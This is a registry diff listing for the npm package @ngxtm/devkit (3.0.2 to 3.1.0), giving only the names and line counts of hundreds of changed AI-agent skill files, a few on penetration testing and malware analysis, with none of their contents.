@ngxtm/devkit 3.0.2 → 3.1.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +1 -1
- package/skills/SPDD/1-research.md +22 -0
- package/skills/SPDD/2-spec.md +20 -0
- package/skills/SPDD/3-implementation.md +20 -0
- package/skills/accessibility-compliance-accessibility-audit/SKILL.md +42 -0
- package/skills/accessibility-compliance-accessibility-audit/resources/implementation-playbook.md +502 -0
- package/skills/active-directory-attacks/references/advanced-attacks.md +382 -382
- package/skills/agent-framework-azure-hosted-agents/SKILL.md +0 -3
- package/skills/agent-orchestration-improve-agent/SKILL.md +349 -0
- package/skills/agent-orchestration-multi-agent-optimize/SKILL.md +239 -0
- package/skills/ai-engineer/SKILL.md +171 -0
- package/skills/airflow-dag-patterns/SKILL.md +41 -0
- package/skills/airflow-dag-patterns/resources/implementation-playbook.md +509 -0
- package/skills/angular-migration/SKILL.md +428 -0
- package/skills/anti-reversing-techniques/SKILL.md +42 -0
- package/skills/anti-reversing-techniques/resources/implementation-playbook.md +539 -0
- package/skills/api-design-principles/SKILL.md +37 -0
- package/skills/api-design-principles/assets/api-design-checklist.md +155 -0
- package/skills/api-design-principles/assets/rest-api-template.py +182 -0
- package/skills/api-design-principles/references/graphql-schema-design.md +583 -0
- package/skills/api-design-principles/references/rest-best-practices.md +408 -0
- package/skills/api-design-principles/resources/implementation-playbook.md +513 -0
- package/skills/api-documenter/SKILL.md +184 -0
- package/skills/api-testing-observability-api-mock/SKILL.md +46 -0
- package/skills/api-testing-observability-api-mock/resources/implementation-playbook.md +1327 -0
- package/skills/application-performance-performance-optimization/SKILL.md +154 -0
- package/skills/architect-review/SKILL.md +174 -0
- package/skills/architecture-decision-records/SKILL.md +441 -0
- package/skills/architecture-patterns/SKILL.md +37 -0
- package/skills/architecture-patterns/resources/implementation-playbook.md +479 -0
- package/skills/arm-cortex-expert/SKILL.md +306 -0
- package/skills/artifacts-builder/scripts/bundle-artifact.sh +0 -0
- package/skills/artifacts-builder/scripts/init-artifact.sh +0 -0
- package/skills/async-python-patterns/SKILL.md +39 -0
- package/skills/async-python-patterns/resources/implementation-playbook.md +678 -0
- package/skills/attack-tree-construction/SKILL.md +38 -0
- package/skills/attack-tree-construction/resources/implementation-playbook.md +671 -0
- package/skills/auth-implementation-patterns/SKILL.md +39 -0
- package/skills/auth-implementation-patterns/resources/implementation-playbook.md +633 -0
- package/skills/automate-whatsapp/SKILL.md +257 -0
- package/skills/aws-agentic-ai/services/gateway/deploy-template.sh +0 -0
- package/skills/aws-agentic-ai/services/gateway/validate-deployment.sh +0 -0
- package/skills/aws-cdk-development/scripts/validate-stack.sh +0 -0
- package/skills/aws-penetration-testing/references/advanced-aws-pentesting.md +469 -469
- package/skills/aws-skills/SKILL.md +22 -0
- package/skills/azd-deployment/SKILL.md +0 -2
- package/skills/backend-architect/SKILL.md +333 -0
- package/skills/backend-development-feature-development/SKILL.md +180 -0
- package/skills/backend-security-coder/SKILL.md +156 -0
- package/skills/backtesting-frameworks/SKILL.md +39 -0
- package/skills/backtesting-frameworks/resources/implementation-playbook.md +647 -0
- package/skills/bash-defensive-patterns/SKILL.md +43 -0
- package/skills/bash-defensive-patterns/resources/implementation-playbook.md +517 -0
- package/skills/bash-pro/SKILL.md +310 -0
- package/skills/bats-testing-patterns/SKILL.md +34 -0
- package/skills/bats-testing-patterns/resources/implementation-playbook.md +614 -0
- package/skills/bazel-build-optimization/SKILL.md +397 -0
- package/skills/beautiful-prose/SKILL.md +22 -0
- package/skills/billing-automation/SKILL.md +42 -0
- package/skills/billing-automation/resources/implementation-playbook.md +544 -0
- package/skills/binary-analysis-patterns/SKILL.md +450 -0
- package/skills/blockchain-developer/SKILL.md +208 -0
- package/skills/business-analyst/SKILL.md +182 -0
- package/skills/c-pro/SKILL.md +56 -0
- package/skills/c4-architecture-c4-architecture/SKILL.md +389 -0
- package/skills/c4-code/SKILL.md +244 -0
- package/skills/c4-component/SKILL.md +153 -0
- package/skills/c4-container/SKILL.md +171 -0
- package/skills/c4-context/SKILL.md +150 -0
- package/skills/cc-skill-continuous-learning/evaluate-session.sh +0 -0
- package/skills/cc-skill-strategic-compact/suggest-compact.sh +0 -0
- package/skills/changelog-automation/SKILL.md +38 -0
- package/skills/changelog-automation/resources/implementation-playbook.md +538 -0
- package/skills/cicd-automation-workflow-automate/SKILL.md +51 -0
- package/skills/cicd-automation-workflow-automate/resources/implementation-playbook.md +1333 -0
- package/skills/clarity-gate/SKILL.md +22 -0
- package/skills/claude-ally-health/SKILL.md +22 -0
- package/skills/claude-scientific-skills/SKILL.md +22 -0
- package/skills/claude-speed-reader/SKILL.md +22 -0
- package/skills/claude-win11-speckit-update-skill/SKILL.md +22 -0
- package/skills/cloud-architect/SKILL.md +131 -102
- package/skills/cloud-penetration-testing/references/advanced-cloud-scripts.md +318 -318
- package/skills/code-documentation-code-explain/SKILL.md +46 -0
- package/skills/code-documentation-code-explain/resources/implementation-playbook.md +802 -0
- package/skills/code-documentation-doc-generate/SKILL.md +48 -0
- package/skills/code-documentation-doc-generate/resources/implementation-playbook.md +640 -0
- package/skills/code-refactoring-context-restore/SKILL.md +179 -0
- package/skills/code-refactoring-refactor-clean/SKILL.md +51 -0
- package/skills/code-refactoring-refactor-clean/resources/implementation-playbook.md +879 -0
- package/skills/code-refactoring-tech-debt/SKILL.md +386 -0
- package/skills/code-review-ai-ai-review/SKILL.md +450 -0
- package/skills/code-review-excellence/SKILL.md +40 -0
- package/skills/code-review-excellence/resources/implementation-playbook.md +515 -0
- package/skills/code-reviewer/SKILL.md +174 -205
- package/skills/codebase-cleanup-deps-audit/SKILL.md +51 -0
- package/skills/codebase-cleanup-deps-audit/resources/implementation-playbook.md +766 -0
- package/skills/codebase-cleanup-refactor-clean/SKILL.md +51 -0
- package/skills/codebase-cleanup-refactor-clean/resources/implementation-playbook.md +879 -0
- package/skills/codebase-cleanup-tech-debt/SKILL.md +386 -0
- package/skills/commit/SKILL.md +171 -0
- package/skills/competitive-landscape/SKILL.md +34 -0
- package/skills/competitive-landscape/resources/implementation-playbook.md +494 -0
- package/skills/comprehensive-review-full-review/SKILL.md +146 -0
- package/skills/comprehensive-review-pr-enhance/SKILL.md +46 -0
- package/skills/comprehensive-review-pr-enhance/resources/implementation-playbook.md +691 -0
- package/skills/conductor-implement/SKILL.md +388 -0
- package/skills/conductor-manage/SKILL.md +39 -0
- package/skills/conductor-manage/resources/implementation-playbook.md +1120 -0
- package/skills/conductor-new-track/SKILL.md +433 -0
- package/skills/conductor-revert/SKILL.md +372 -0
- package/skills/conductor-setup/SKILL.md +426 -0
- package/skills/conductor-status/SKILL.md +338 -0
- package/skills/conductor-validator/SKILL.md +62 -0
- package/skills/content-marketer/SKILL.md +170 -0
- package/skills/context-compression/SKILL.md +266 -0
- package/skills/context-degradation/SKILL.md +238 -0
- package/skills/context-driven-development/SKILL.md +400 -0
- package/skills/context-fundamentals/SKILL.md +192 -0
- package/skills/context-management-context-restore/SKILL.md +179 -0
- package/skills/context-management-context-save/SKILL.md +177 -0
- package/skills/context-manager/SKILL.md +185 -0
- package/skills/context-optimization/SKILL.md +186 -0
- package/skills/cost-optimization/SKILL.md +286 -0
- package/skills/cpp-pro/SKILL.md +42 -80
- package/skills/cqrs-implementation/SKILL.md +35 -0
- package/skills/cqrs-implementation/resources/implementation-playbook.md +540 -0
- package/skills/create-pr/SKILL.md +192 -0
- package/skills/csharp-pro/SKILL.md +59 -0
- package/skills/culture-index/SKILL.md +43 -0
- package/skills/customer-support/SKILL.md +170 -0
- package/skills/daily-news-report/SKILL.md +178 -179
- package/skills/data-engineer/SKILL.md +224 -0
- package/skills/data-engineering-data-driven-feature/SKILL.md +182 -0
- package/skills/data-engineering-data-pipeline/SKILL.md +201 -0
- package/skills/data-quality-frameworks/SKILL.md +40 -0
- package/skills/data-quality-frameworks/resources/implementation-playbook.md +573 -0
- package/skills/data-scientist/SKILL.md +199 -0
- package/skills/data-storytelling/SKILL.md +465 -0
- package/skills/database-admin/SKILL.md +165 -0
- package/skills/database-architect/SKILL.md +268 -0
- package/skills/database-cloud-optimization-cost-optimize/SKILL.md +44 -0
- package/skills/database-cloud-optimization-cost-optimize/resources/implementation-playbook.md +1441 -0
- package/skills/database-migration/SKILL.md +436 -0
- package/skills/database-migrations-migration-observability/SKILL.md +420 -0
- package/skills/database-migrations-sql-migrations/SKILL.md +53 -0
- package/skills/database-migrations-sql-migrations/resources/implementation-playbook.md +499 -0
- package/skills/database-optimizer/SKILL.md +163 -91
- package/skills/dbt-transformation-patterns/SKILL.md +34 -0
- package/skills/dbt-transformation-patterns/resources/implementation-playbook.md +547 -0
- package/skills/debugger/SKILL.md +49 -0
- package/skills/debugging-strategies/SKILL.md +34 -0
- package/skills/debugging-strategies/resources/implementation-playbook.md +511 -0
- package/skills/debugging-toolkit-smart-debug/SKILL.md +197 -0
- package/skills/deep-research/SKILL.md +114 -0
- package/skills/defi-protocol-templates/SKILL.md +466 -0
- package/skills/dependency-management-deps-audit/SKILL.md +44 -0
- package/skills/dependency-management-deps-audit/resources/implementation-playbook.md +766 -0
- package/skills/dependency-upgrade/SKILL.md +421 -0
- package/skills/deployment-engineer/SKILL.md +170 -0
- package/skills/deployment-pipeline-design/SKILL.md +371 -0
- package/skills/deployment-validation-config-validate/SKILL.md +496 -0
- package/skills/design-md/SKILL.md +178 -0
- package/skills/devops-troubleshooter/SKILL.md +161 -0
- package/skills/distributed-debugging-debug-trace/SKILL.md +44 -0
- package/skills/distributed-debugging-debug-trace/resources/implementation-playbook.md +1307 -0
- package/skills/distributed-tracing/SKILL.md +450 -0
- package/skills/django-pro/SKILL.md +180 -0
- package/skills/docs-architect/SKILL.md +98 -0
- package/skills/document-skills/docx/ooxml/scripts/pack.py +0 -0
- package/skills/document-skills/docx/ooxml/scripts/unpack.py +0 -0
- package/skills/document-skills/docx/ooxml/scripts/validate.py +0 -0
- package/skills/document-skills/docx/scripts/__init__.py +0 -0
- package/skills/document-skills/docx/scripts/document.py +0 -0
- package/skills/document-skills/docx/scripts/utilities.py +0 -0
- package/skills/document-skills/pptx/ooxml/scripts/pack.py +0 -0
- package/skills/document-skills/pptx/ooxml/scripts/unpack.py +0 -0
- package/skills/document-skills/pptx/ooxml/scripts/validate.py +0 -0
- package/skills/document-skills/pptx/scripts/html2pptx.js +0 -0
- package/skills/document-skills/pptx/scripts/inventory.py +0 -0
- package/skills/document-skills/pptx/scripts/rearrange.py +0 -0
- package/skills/document-skills/pptx/scripts/replace.py +0 -0
- package/skills/document-skills/pptx/scripts/thumbnail.py +0 -0
- package/skills/documentation-generation-doc-generate/SKILL.md +48 -0
- package/skills/documentation-generation-doc-generate/resources/implementation-playbook.md +640 -0
- package/skills/docx/LICENSE.txt +30 -0
- package/skills/docx/SKILL.md +172 -69
- package/skills/docx/docx-js.md +350 -0
- package/skills/docx/ooxml/schemas/ISO-IEC29500-4_2016/dml-chart.xsd +1499 -0
- package/skills/docx/ooxml/schemas/ISO-IEC29500-4_2016/dml-chartDrawing.xsd +146 -0
- package/skills/docx/ooxml/schemas/ISO-IEC29500-4_2016/dml-diagram.xsd +1085 -0
- package/skills/docx/ooxml/schemas/ISO-IEC29500-4_2016/dml-lockedCanvas.xsd +11 -0
- package/skills/docx/ooxml/schemas/ISO-IEC29500-4_2016/dml-main.xsd +3081 -0
- package/skills/docx/ooxml/schemas/ISO-IEC29500-4_2016/dml-picture.xsd +23 -0
- package/skills/docx/ooxml/schemas/ISO-IEC29500-4_2016/dml-spreadsheetDrawing.xsd +185 -0
- package/skills/docx/ooxml/schemas/ISO-IEC29500-4_2016/dml-wordprocessingDrawing.xsd +287 -0
- package/skills/docx/ooxml/schemas/ISO-IEC29500-4_2016/pml.xsd +1676 -0
- package/skills/docx/ooxml/schemas/ISO-IEC29500-4_2016/shared-additionalCharacteristics.xsd +28 -0
- package/skills/docx/ooxml/schemas/ISO-IEC29500-4_2016/shared-bibliography.xsd +144 -0
- package/skills/docx/ooxml/schemas/ISO-IEC29500-4_2016/shared-commonSimpleTypes.xsd +174 -0
- package/skills/docx/ooxml/schemas/ISO-IEC29500-4_2016/shared-customXmlDataProperties.xsd +25 -0
- package/skills/docx/ooxml/schemas/ISO-IEC29500-4_2016/shared-customXmlSchemaProperties.xsd +18 -0
- package/skills/docx/ooxml/schemas/ISO-IEC29500-4_2016/shared-documentPropertiesCustom.xsd +59 -0
- package/skills/docx/ooxml/schemas/ISO-IEC29500-4_2016/shared-documentPropertiesExtended.xsd +56 -0
- package/skills/docx/ooxml/schemas/ISO-IEC29500-4_2016/shared-documentPropertiesVariantTypes.xsd +195 -0
- package/skills/docx/ooxml/schemas/ISO-IEC29500-4_2016/shared-math.xsd +582 -0
- package/skills/docx/ooxml/schemas/ISO-IEC29500-4_2016/shared-relationshipReference.xsd +25 -0
- package/skills/docx/ooxml/schemas/ISO-IEC29500-4_2016/sml.xsd +4439 -0
- package/skills/docx/ooxml/schemas/ISO-IEC29500-4_2016/vml-main.xsd +570 -0
- package/skills/docx/ooxml/schemas/ISO-IEC29500-4_2016/vml-officeDrawing.xsd +509 -0
- package/skills/docx/ooxml/schemas/ISO-IEC29500-4_2016/vml-presentationDrawing.xsd +12 -0
- package/skills/docx/ooxml/schemas/ISO-IEC29500-4_2016/vml-spreadsheetDrawing.xsd +108 -0
- package/skills/docx/ooxml/schemas/ISO-IEC29500-4_2016/vml-wordprocessingDrawing.xsd +96 -0
- package/skills/docx/ooxml/schemas/ISO-IEC29500-4_2016/wml.xsd +3646 -0
- package/skills/docx/ooxml/schemas/ISO-IEC29500-4_2016/xml.xsd +116 -0
- package/skills/docx/ooxml/schemas/ecma/fouth-edition/opc-contentTypes.xsd +42 -0
- package/skills/docx/ooxml/schemas/ecma/fouth-edition/opc-coreProperties.xsd +50 -0
- package/skills/docx/ooxml/schemas/ecma/fouth-edition/opc-digSig.xsd +49 -0
- package/skills/docx/ooxml/schemas/ecma/fouth-edition/opc-relationships.xsd +33 -0
- package/skills/docx/ooxml/schemas/mce/mc.xsd +75 -0
- package/skills/docx/ooxml/schemas/microsoft/wml-2010.xsd +560 -0
- package/skills/docx/ooxml/schemas/microsoft/wml-2012.xsd +67 -0
- package/skills/docx/ooxml/schemas/microsoft/wml-2018.xsd +14 -0
- package/skills/docx/ooxml/schemas/microsoft/wml-cex-2018.xsd +20 -0
- package/skills/docx/ooxml/schemas/microsoft/wml-cid-2016.xsd +13 -0
- package/skills/docx/ooxml/schemas/microsoft/wml-sdtdatahash-2020.xsd +4 -0
- package/skills/docx/ooxml/schemas/microsoft/wml-symex-2015.xsd +8 -0
- package/skills/docx/ooxml/scripts/pack.py +159 -0
- package/skills/docx/ooxml/scripts/unpack.py +29 -0
- package/skills/docx/ooxml/scripts/validate.py +69 -0
- package/skills/docx/ooxml/scripts/validation/__init__.py +15 -0
- package/skills/docx/ooxml/scripts/validation/base.py +951 -0
- package/skills/docx/ooxml/scripts/validation/docx.py +274 -0
- package/skills/docx/ooxml/scripts/validation/pptx.py +315 -0
- package/skills/docx/ooxml/scripts/validation/redlining.py +279 -0
- package/skills/docx/ooxml.md +610 -0
- package/skills/docx/scripts/__init__.py +1 -0
- package/skills/docx/scripts/document.py +1276 -0
- package/skills/docx/scripts/templates/comments.xml +3 -0
- package/skills/docx/scripts/templates/commentsExtended.xml +3 -0
- package/skills/docx/scripts/templates/commentsExtensible.xml +3 -0
- package/skills/docx/scripts/templates/commentsIds.xml +3 -0
- package/skills/docx/scripts/templates/people.xml +3 -0
- package/skills/docx/scripts/utilities.py +374 -0
- package/skills/docx-official/ooxml/scripts/pack.py +0 -0
- package/skills/docx-official/ooxml/scripts/unpack.py +0 -0
- package/skills/docx-official/ooxml/scripts/validate.py +0 -0
- package/skills/docx-official/scripts/__init__.py +0 -0
- package/skills/docx-official/scripts/document.py +0 -0
- package/skills/docx-official/scripts/utilities.py +0 -0
- package/skills/dotnet-architect/SKILL.md +197 -0
- package/skills/dotnet-backend-patterns/SKILL.md +37 -0
- package/skills/dotnet-backend-patterns/assets/repository-template.cs +523 -0
- package/skills/dotnet-backend-patterns/assets/service-template.cs +336 -0
- package/skills/dotnet-backend-patterns/references/dapper-patterns.md +544 -0
- package/skills/dotnet-backend-patterns/references/ef-core-best-practices.md +355 -0
- package/skills/dotnet-backend-patterns/resources/implementation-playbook.md +799 -0
- package/skills/dx-optimizer/SKILL.md +83 -0
- package/skills/e2e-testing-patterns/SKILL.md +41 -0
- package/skills/e2e-testing-patterns/resources/implementation-playbook.md +531 -0
- package/skills/elixir-pro/SKILL.md +59 -0
- package/skills/embedding-strategies/SKILL.md +491 -0
- package/skills/employment-contract-templates/SKILL.md +39 -0
- package/skills/employment-contract-templates/resources/implementation-playbook.md +493 -0
- package/skills/error-debugging-error-analysis/SKILL.md +47 -0
- package/skills/error-debugging-error-analysis/resources/implementation-playbook.md +1143 -0
- package/skills/error-debugging-error-trace/SKILL.md +43 -0
- package/skills/error-debugging-error-trace/resources/implementation-playbook.md +1361 -0
- package/skills/error-debugging-multi-agent-review/SKILL.md +216 -0
- package/skills/error-detective/SKILL.md +53 -0
- package/skills/error-diagnostics-error-analysis/SKILL.md +47 -0
- package/skills/error-diagnostics-error-analysis/resources/implementation-playbook.md +1143 -0
- package/skills/error-diagnostics-error-trace/SKILL.md +48 -0
- package/skills/error-diagnostics-error-trace/resources/implementation-playbook.md +1371 -0
- package/skills/error-diagnostics-smart-debug/SKILL.md +197 -0
- package/skills/error-handling-patterns/SKILL.md +35 -0
- package/skills/error-handling-patterns/resources/implementation-playbook.md +635 -0
- package/skills/evaluation/SKILL.md +238 -0
- package/skills/event-sourcing-architect/SKILL.md +58 -0
- package/skills/event-store-design/SKILL.md +449 -0
- package/skills/expo-deployment/SKILL.md +62 -12
- package/skills/fal-audio/SKILL.md +22 -0
- package/skills/fal-generate/SKILL.md +22 -0
- package/skills/fal-image-edit/SKILL.md +22 -0
- package/skills/fal-platform/SKILL.md +22 -0
- package/skills/fal-upscale/SKILL.md +22 -0
- package/skills/fal-workflow/SKILL.md +22 -0
- package/skills/fastapi-pro/SKILL.md +192 -0
- package/skills/fastapi-templates/SKILL.md +32 -0
- package/skills/fastapi-templates/resources/implementation-playbook.md +566 -0
- package/skills/ffuf-claude-skill/SKILL.md +22 -0
- package/skills/find-bugs/SKILL.md +86 -0
- package/skills/firmware-analyst/SKILL.md +320 -0
- package/skills/fix-review/SKILL.md +53 -0
- package/skills/flutter-expert/SKILL.md +196 -84
- package/skills/foundry-iq-agent/SKILL.md +15 -0
- package/skills/foundry-iq-python/SKILL.md +0 -3
- package/skills/fp-ts-errors/SKILL.md +856 -0
- package/skills/fp-ts-pragmatic/SKILL.md +598 -0
- package/skills/fp-ts-react/SKILL.md +796 -0
- package/skills/framework-migration-code-migrate/SKILL.md +48 -0
- package/skills/framework-migration-code-migrate/resources/implementation-playbook.md +1052 -0
- package/skills/framework-migration-deps-upgrade/SKILL.md +48 -0
- package/skills/framework-migration-deps-upgrade/resources/implementation-playbook.md +755 -0
- package/skills/framework-migration-legacy-modernize/SKILL.md +132 -0
- package/skills/frontend-developer/SKILL.md +171 -0
- package/skills/frontend-mobile-development-component-scaffold/SKILL.md +403 -0
- package/skills/frontend-mobile-security-xss-scan/SKILL.md +322 -0
- package/skills/frontend-security-coder/SKILL.md +170 -0
- package/skills/frontend-slides/SKILL.md +770 -0
- package/skills/full-stack-orchestration-full-stack-feature/SKILL.md +135 -0
- package/skills/gdpr-data-handling/SKILL.md +33 -0
- package/skills/gdpr-data-handling/resources/implementation-playbook.md +615 -0
- package/skills/git-advanced-workflows/SKILL.md +412 -0
- package/skills/git-pr-workflows-git-workflow/SKILL.md +140 -0
- package/skills/git-pr-workflows-onboard/SKILL.md +416 -0
- package/skills/git-pr-workflows-pr-enhance/SKILL.md +48 -0
- package/skills/git-pr-workflows-pr-enhance/resources/implementation-playbook.md +701 -0
- package/skills/github-actions-templates/SKILL.md +345 -0
- package/skills/gitlab-ci-patterns/SKILL.md +283 -0
- package/skills/gitops-workflow/SKILL.md +303 -0
- package/skills/gitops-workflow/references/argocd-setup.md +134 -0
- package/skills/gitops-workflow/references/sync-policies.md +131 -0
- package/skills/go-concurrency-patterns/SKILL.md +33 -0
- package/skills/go-concurrency-patterns/resources/implementation-playbook.md +654 -0
- package/skills/godot-gdscript-patterns/SKILL.md +33 -0
- package/skills/godot-gdscript-patterns/resources/implementation-playbook.md +804 -0
- package/skills/golang-pro/SKILL.md +176 -91
- package/skills/grafana-dashboards/SKILL.md +381 -0
- package/skills/graphql-architect/SKILL.md +168 -83
- package/skills/haskell-pro/SKILL.md +56 -0
- package/skills/helm-chart-scaffolding/SKILL.md +34 -0
- package/skills/helm-chart-scaffolding/assets/Chart.yaml.template +42 -0
- package/skills/helm-chart-scaffolding/assets/values.yaml.template +185 -0
- package/skills/helm-chart-scaffolding/references/chart-structure.md +500 -0
- package/skills/helm-chart-scaffolding/resources/implementation-playbook.md +543 -0
- package/skills/helm-chart-scaffolding/scripts/validate-chart.sh +244 -0
- package/skills/hr-pro/SKILL.md +126 -0
- package/skills/hugging-face-cli/SKILL.md +198 -0
- package/skills/hugging-face-jobs/SKILL.md +1038 -0
- package/skills/hybrid-cloud-architect/SKILL.md +168 -0
- package/skills/hybrid-cloud-networking/SKILL.md +238 -0
- package/skills/hybrid-search-implementation/SKILL.md +32 -0
- package/skills/hybrid-search-implementation/resources/implementation-playbook.md +567 -0
- package/skills/imagen/SKILL.md +77 -0
- package/skills/incident-responder/SKILL.md +213 -0
- package/skills/incident-response-incident-response/SKILL.md +168 -0
- package/skills/incident-response-smart-fix/SKILL.md +29 -0
- package/skills/incident-response-smart-fix/resources/implementation-playbook.md +838 -0
- package/skills/incident-runbook-templates/SKILL.md +395 -0
- package/skills/infinite-gratitude/SKILL.md +26 -0
- package/skills/ios-developer/SKILL.md +219 -0
- package/skills/istio-traffic-management/SKILL.md +337 -0
- package/skills/iterate-pr/SKILL.md +150 -0
- package/skills/java-pro/SKILL.md +177 -0
- package/skills/javascript-pro/SKILL.md +41 -79
- package/skills/javascript-testing-patterns/SKILL.md +35 -0
- package/skills/javascript-testing-patterns/resources/implementation-playbook.md +1024 -0
- package/skills/javascript-typescript-typescript-scaffold/SKILL.md +361 -0
- package/skills/julia-pro/SKILL.md +209 -0
- package/skills/k8s-manifest-generator/SKILL.md +35 -0
- package/skills/k8s-manifest-generator/assets/configmap-template.yaml +296 -0
- package/skills/k8s-manifest-generator/assets/deployment-template.yaml +203 -0
- package/skills/k8s-manifest-generator/assets/service-template.yaml +171 -0
- package/skills/k8s-manifest-generator/references/deployment-spec.md +753 -0
- package/skills/k8s-manifest-generator/references/service-spec.md +724 -0
- package/skills/k8s-manifest-generator/resources/implementation-playbook.md +510 -0
- package/skills/k8s-security-policies/SKILL.md +346 -0
- package/skills/k8s-security-policies/assets/network-policy-template.yaml +177 -0
- package/skills/k8s-security-policies/references/rbac-patterns.md +187 -0
- package/skills/kpi-dashboard-design/SKILL.md +440 -0
- package/skills/kubernetes-architect/SKILL.md +170 -0
- package/skills/langchain-architecture/SKILL.md +350 -0
- package/skills/legacy-modernizer/SKILL.md +39 -79
- package/skills/legal-advisor/SKILL.md +70 -0
- package/skills/linear-claude-skill/SKILL.md +543 -0
- package/skills/linkerd-patterns/SKILL.md +321 -0
- package/skills/llm-application-dev-ai-assistant/SKILL.md +35 -0
- package/skills/llm-application-dev-ai-assistant/resources/implementation-playbook.md +1236 -0
- package/skills/llm-application-dev-langchain-agent/SKILL.md +246 -0
- package/skills/llm-application-dev-prompt-optimize/SKILL.md +37 -0
- package/skills/llm-application-dev-prompt-optimize/resources/implementation-playbook.md +591 -0
- package/skills/llm-evaluation/SKILL.md +483 -0
- package/skills/loki-mode/autonomy/run.sh +0 -0
- package/skills/loki-mode/benchmarks/prepare-submission.sh +0 -0
- package/skills/loki-mode/benchmarks/run-benchmarks.sh +0 -0
- package/skills/loki-mode/demo/record-demo.sh +0 -0
- package/skills/loki-mode/demo/record-full-demo.sh +0 -0
- package/skills/loki-mode/demo/run-demo-auto.sh +0 -0
- package/skills/loki-mode/demo/run-demo.sh +0 -0
- package/skills/loki-mode/scripts/export-to-vibe-kanban.sh +0 -0
- package/skills/loki-mode/scripts/loki-wrapper.sh +0 -0
- package/skills/loki-mode/tests/run-all-tests.sh +0 -0
- package/skills/loki-mode/tests/test-agent-timeout.sh +0 -0
- package/skills/loki-mode/tests/test-bootstrap.sh +0 -0
- package/skills/loki-mode/tests/test-circuit-breaker.sh +0 -0
- package/skills/loki-mode/tests/test-state-recovery.sh +0 -0
- package/skills/loki-mode/tests/test-task-queue.sh +0 -0
- package/skills/loki-mode/tests/test-wrapper.sh +0 -0
- package/skills/machine-learning-ops-ml-pipeline/SKILL.md +314 -0
- package/skills/makepad-skills/SKILL.md +22 -0
- package/skills/malware-analyst/SKILL.md +247 -0
- package/skills/market-sizing-analysis/SKILL.md +425 -0
- package/skills/market-sizing-analysis/examples/saas-market-sizing.md +349 -0
- package/skills/market-sizing-analysis/references/data-sources.md +360 -0
- package/skills/memory-forensics/SKILL.md +491 -0
- package/skills/memory-safety-patterns/SKILL.md +33 -0
- package/skills/memory-safety-patterns/resources/implementation-playbook.md +603 -0
- package/skills/memory-systems/SKILL.md +228 -0
- package/skills/mermaid-expert/SKILL.md +59 -0
- package/skills/microservices-patterns/SKILL.md +35 -0
- package/skills/microservices-patterns/resources/implementation-playbook.md +607 -0
- package/skills/minecraft-bukkit-pro/SKILL.md +126 -0
- package/skills/ml-engineer/SKILL.md +168 -0
- package/skills/ml-pipeline-workflow/SKILL.md +257 -0
- package/skills/mlops-engineer/SKILL.md +219 -0
- package/skills/mobile-developer/SKILL.md +205 -0
- package/skills/mobile-security-coder/SKILL.md +184 -0
- package/skills/modern-javascript-patterns/SKILL.md +35 -0
- package/skills/modern-javascript-patterns/resources/implementation-playbook.md +910 -0
- package/skills/monorepo-architect/SKILL.md +61 -0
- package/skills/monorepo-management/SKILL.md +35 -0
- package/skills/monorepo-management/resources/implementation-playbook.md +621 -0
- package/skills/mtls-configuration/SKILL.md +359 -0
- package/skills/multi-agent-patterns/SKILL.md +262 -0
- package/skills/multi-cloud-architecture/SKILL.md +189 -0
- package/skills/multi-platform-apps-multi-platform/SKILL.md +203 -0
- package/skills/n8n-code-python/SKILL.md +750 -0
- package/skills/n8n-mcp-tools-expert/SKILL.md +654 -0
- package/skills/n8n-node-configuration/SKILL.md +796 -0
- package/skills/nanobanana-ppt-skills/SKILL.md +22 -0
- package/skills/network-engineer/SKILL.md +169 -0
- package/skills/nextjs-app-router-patterns/SKILL.md +33 -0
- package/skills/nextjs-app-router-patterns/resources/implementation-playbook.md +543 -0
- package/skills/nft-standards/SKILL.md +395 -0
- package/skills/nodejs-backend-patterns/SKILL.md +35 -0
- package/skills/nodejs-backend-patterns/resources/implementation-playbook.md +1019 -0
- package/skills/notebooklm/AUTHENTICATION.md +0 -0
- package/skills/notebooklm/CHANGELOG.md +0 -0
- package/skills/notebooklm/LICENSE +0 -0
- package/skills/notebooklm/README.md +0 -0
- package/skills/notebooklm/SKILL.md +0 -0
- package/skills/notebooklm/images/example_notebookchat.png +0 -0
- package/skills/notebooklm/references/api_reference.md +0 -0
- package/skills/notebooklm/references/troubleshooting.md +0 -0
- package/skills/notebooklm/references/usage_patterns.md +0 -0
- package/skills/notebooklm/requirements.txt +0 -0
- package/skills/notebooklm/scripts/__init__.py +0 -0
- package/skills/notebooklm/scripts/ask_question.py +0 -0
- package/skills/notebooklm/scripts/auth_manager.py +0 -0
- package/skills/notebooklm/scripts/browser_session.py +0 -0
- package/skills/notebooklm/scripts/browser_utils.py +0 -0
- package/skills/notebooklm/scripts/cleanup_manager.py +0 -0
- package/skills/notebooklm/scripts/config.py +0 -0
- package/skills/notebooklm/scripts/notebook_manager.py +0 -0
- package/skills/notebooklm/scripts/run.py +0 -0
- package/skills/notebooklm/scripts/setup_environment.py +0 -0
- package/skills/notebooklm-skill/AUTHENTICATION.md +0 -0
- package/skills/notebooklm-skill/SKILL.md +0 -0
- package/skills/notebooklm-skill/references/api_reference.md +0 -0
- package/skills/notebooklm-skill/references/troubleshooting.md +0 -0
- package/skills/notebooklm-skill/references/usage_patterns.md +0 -0
- package/skills/notebooklm-skill/scripts/__init__.py +0 -0
- package/skills/notebooklm-skill/scripts/ask_question.py +0 -0
- package/skills/notebooklm-skill/scripts/auth_manager.py +0 -0
- package/skills/notebooklm-skill/scripts/browser_session.py +0 -0
- package/skills/notebooklm-skill/scripts/browser_utils.py +0 -0
- package/skills/notebooklm-skill/scripts/cleanup_manager.py +0 -0
- package/skills/notebooklm-skill/scripts/config.py +0 -0
- package/skills/notebooklm-skill/scripts/notebook_manager.py +0 -0
- package/skills/notebooklm-skill/scripts/run.py +0 -0
- package/skills/notebooklm-skill/scripts/setup_environment.py +0 -0
- package/skills/nx-workspace-patterns/SKILL.md +464 -0
- package/skills/observability-engineer/SKILL.md +237 -0
- package/skills/observability-monitoring-monitor-setup/SKILL.md +48 -0
- package/skills/observability-monitoring-monitor-setup/resources/implementation-playbook.md +505 -0
- package/skills/observability-monitoring-slo-implement/SKILL.md +43 -0
- package/skills/observability-monitoring-slo-implement/resources/implementation-playbook.md +1077 -0
- package/skills/observe-whatsapp/SKILL.md +109 -0
- package/skills/on-call-handoff-patterns/SKILL.md +453 -0
- package/skills/openapi-spec-generation/SKILL.md +33 -0
- package/skills/openapi-spec-generation/resources/implementation-playbook.md +1027 -0
- package/skills/payment-integration/SKILL.md +69 -110
- package/skills/paypal-integration/SKILL.md +479 -0
